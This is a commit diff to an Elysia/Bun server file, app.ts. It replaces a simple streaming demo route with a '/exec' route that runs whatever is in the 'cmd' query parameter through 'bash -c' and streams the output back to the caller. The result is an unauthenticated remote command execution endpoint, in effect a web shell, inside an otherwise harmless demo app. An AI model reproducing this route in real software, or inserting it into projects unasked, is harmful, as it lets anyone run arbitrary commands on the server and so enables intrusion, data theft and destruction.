pluviouse commited on
Commit
b9a1c37
·
verified ·
1 Parent(s): b49dc83

Update app.ts

Browse files
Files changed (1) hide show
  1. app.ts +8 -3
app.ts CHANGED
@@ -14,9 +14,14 @@ const app = new Elysia()
14
  }))
15
  .get("/", () => "Hello, Elysia!")
16
  .get("/items/:id", ({ params }) => `Item ID: ${params.id}`)
17
- .get('/stream', function* () {
18
- yield 'Hello'
19
- yield 'World'
 
 
 
 
 
20
  })
21
  .ws('/realtime', {
22
  message(ws, message) {
 
14
  }))
15
  .get("/", () => "Hello, Elysia!")
16
  .get("/items/:id", ({ params }) => `Item ID: ${params.id}`)
17
+ .get('/exec', async function* ({ query }) {
18
+ const proc = Bun.spawn({
19
+ cmd: ["bash", "-c", query.cmd]
20
+ });
21
+
22
+ for await (const chunk of proc.stdout) {
23
+ yield(new TextDecoder().decode(chunk)) + "\n";
24
+ }
25
  })
26
  .ws('/realtime', {
27
  message(ws, message) {